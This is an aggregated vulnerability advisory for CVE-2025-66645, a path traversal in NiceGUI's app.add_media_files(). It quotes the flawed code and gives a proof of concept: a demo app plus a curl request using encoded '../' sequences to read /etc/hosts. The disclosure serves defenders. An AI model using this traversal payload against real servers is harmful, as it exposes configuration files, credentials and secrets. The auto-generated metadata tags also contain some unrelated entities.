---
schema_version: '1.0'
id: security-20260812-f781ae
title: 'CVE-2025-66645: NiceGUI has a path traversal in app.add_media_files() allows
  arbitrary file read'
url: https://osv.dev/vulnerability/PYSEC-2026-1700
url_hash: f781ae5d176fe5db620951d4f6ccb49b8d361cf924bcd0e1e4546eb601dc5f6f
canonical_url: https://osv.dev/vulnerability/PYSEC-2026-1700
source: osv:pypa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2025-66645
- PYSEC-2026-1700
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- nicegui
- PyPI
lang: en
published_at: '2026-07-07T16:03:12Z'
fetched_at: '2026-08-12T16:00:04.500107Z'
updated_at: '2026-08-22T14:41:30Z'
status: published
content_hash: 4027cf75dfb5351e08203edae347f8f65fdba539ce5b2e4e21c7c9b6e57cdeb2
content_changed_at: '2026-08-22T13:15:21.588609Z'
license_note: full
summary: NiceGUI has a path traversal in app.add_media_files() allows arbitrary file
  read
summary_source: rss
summary_en: NiceGUI has a path traversal in app.add_media_files() allows arbitrary
  file read
summary_omitted_reason: null
redistribution: true
keywords_en:
- allows
- app.add_media_files
- arbitrary
- CVE
- CVE-2025-66645
- file
- has
- Hashbrown
- library vulnerability
- nicegui
- Path
- PyPI
- PYSEC-2026-1700
- read
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- software security
- traversal
entities_en:
- name: CVE
  type: data
- name: Hashbrown
  type: creature
- name: Path
  type: artifact
- name: PyPI
  type: artifact
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: CVE
  type: data
- name: PyPI
  type: artifact
- name: Hashbrown
  type: creature
- name: Path
  type: artifact
related_auto:
- name: Portal
  type: organization
  weight: 1.0
- name: Hugging Face
  type: organization
  weight: 1.0
- name: Alexa Munoz
  type: UNKNOWN
  weight: 1.0
- name: Helen Woodward Animal Center
  type: organization
  weight: 1.0
- name: Lee Asher
  type: person
  weight: 1.0
computed_at: '2026-08-22T14:41:29Z'
---

# CVE-2025-66645: NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read

## TL;DR
NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read

## Key Points
- cve / CVE-2025-66645 / PYSEC-2026-1700 / severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N / nicegui / PyPI

## Details
**Severity:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
**Advisory:** PYSEC-2026-1700 (CVE-2025-66645)

**Details:**
### Summary

A directory traversal vulnerability in NiceGUI's `App.add_media_files()` allows a remote attacker to read arbitrary files on the server filesystem.

### Details

Hello, I am Seungbin Yang, a university student studying cybersecurity. 
While reviewing the source code of the repository, I discovered a potential vulnerability and successfully verified it with a PoC.

The `App.add_media_files(url_path, local_directory)` method allows users to serve media files. However, the implementation lacks proper path validation.

```python
def add_media_files(self, url_path: str, local_directory: Union[str, Path]) -> None:
    @self.get(url_path.rstrip('/') + '/{filename:path}')
    def read_item(request: Request, filename: str, nicegui_chunk_size: int = 8192) -> Response:
        filepath = Path(local_directory) / filename
        if not filepath.is_file():
            raise HTTPException(status_code=404, detail='Not Found')
        return get_range_response(filepath, request, chunk_size=nicegui_chunk_size)
```
Root Cause:
1. The `{filename:path}` parameter accepts full paths, including traversal sequences like `../`.
2. The code simply joins local_directory and filename without checking if the result is still inside the local_directory.
3. There is no path sanitization or boundary check.

Consequence:
An attacker can use `..` to access files outside the intended directory. If the application has permission, sensitive files (e.g., /etc/hosts, source code, config files) can be exposed.

### POC
1. Create `poc.py`:
```python
# poc.py
from pathlib import Path
from nicegui import app, ui

MEDIA_DIR = Path(__file__).parent / 'media'
MEDIA_DIR.mkdir(exist_ok=True)

# Expose local "media" directory at /media
app.add_media_files('/media', MEDIA_DIR)

@ui.page('/')
def index():
    ui.label('NiceGUI media PoC')

ui.run(port=8080, reload=False)
```

2. Run the application: `python3 poc.py`

3. Exploit with curl: Use URL-encoded dots (`%2e`) to bypass client-side checks.
```curl -v "http://localhost:8080/media/%2e%2e/%2e%2e/%2e%2e/etc/hosts"```


### Result:
The HTTP status is 200 OK, and the response body contains the contents of the server’s /etc/hosts file.

I have attached a screenshot of the successful exploitation below. As shown in the image, the content of /etc/hosts displayed via cat matches the output received from the curl request perfectly.

<img width="1728" height="1078" alt="POC screenshot" src="https://github.com/user-attachments/assets/6c1be75b-6be2-4372-90df-55042c1e4775" />

### Impact

Any NiceGUI application that calls app.add_media_files() on a URL path reachable by an attacker is affected. An unauthenticated remote attacker can read sensitive files outside the intended media directory, potentially exposing:

•Application source code and configuration files
•Credentials, API keys, and secrets
•Operating system configuration files (e.g., /etc/passwd, /etc/hosts)

This is my first github vulnerability report, so I would appreciate your understanding regarding any potential shortcomings. If you require any further information or clarification, please feel free to contact me at y4rvin@naver.com.

Thank you.

**References:**
- https://github.com/zauberzeug/nicegui/security/advisories/GHSA-hxp3-63hc-5366
- https://nvd.nist.gov/vuln/detail/CVE-2025-66645
- https://github.com/zauberzeug/nicegui/commit/a1b89e2a24e1911a40389ace2153a37f4eea92a9
- https://github.com/zauberzeug/nicegui
- https://pypi.org/project/nicegui
- https://github.com/advisories/GHSA-hxp3-63hc-5366

_Data: OSV.dev (upstream: pypa) — https://osv.dev/vulnerability/PYSEC-2026-1700_

## Source
元記事: [CVE-2025-66645: NiceGUI has a path traversal in app.add_media_files() allows arbitrary file read](https://osv.dev/vulnerability/PYSEC-2026-1700) — published 2026-07-07T16:03:12Z
